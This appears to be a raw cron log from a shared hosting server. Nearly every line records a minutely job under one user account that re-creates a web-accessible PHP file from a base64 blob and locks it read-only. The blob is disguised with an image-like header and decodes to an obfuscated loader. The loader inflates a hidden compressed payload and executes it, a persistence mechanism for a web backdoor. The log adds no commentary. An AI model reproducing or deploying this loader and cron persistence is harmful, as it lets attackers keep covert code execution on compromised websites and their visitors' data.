"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:47:01 server CROND[22541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:48:01 server CROND[22681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:49:01 server CROND[22737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:50:01 server CROND[22793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 10:50:01 server CROND[22794]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 10:50:01 server CROND[22796]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 10:50:01 server CROND[22798]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 10:50:01 server CROND[22797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:51:01 server CROND[22920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:52:01 server CROND[22977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:53:01 server CROND[23124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:54:01 server CROND[23170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:55:01 server CROND[23217]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 10:55:01 server CROND[23218]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 10:55:01 server CROND[23219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:56:01 server CROND[23314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:57:01 server CROND[23360]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 10:57:01 server CROND[23361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:58:01 server CROND[23411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:59:01 server CROND[23545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
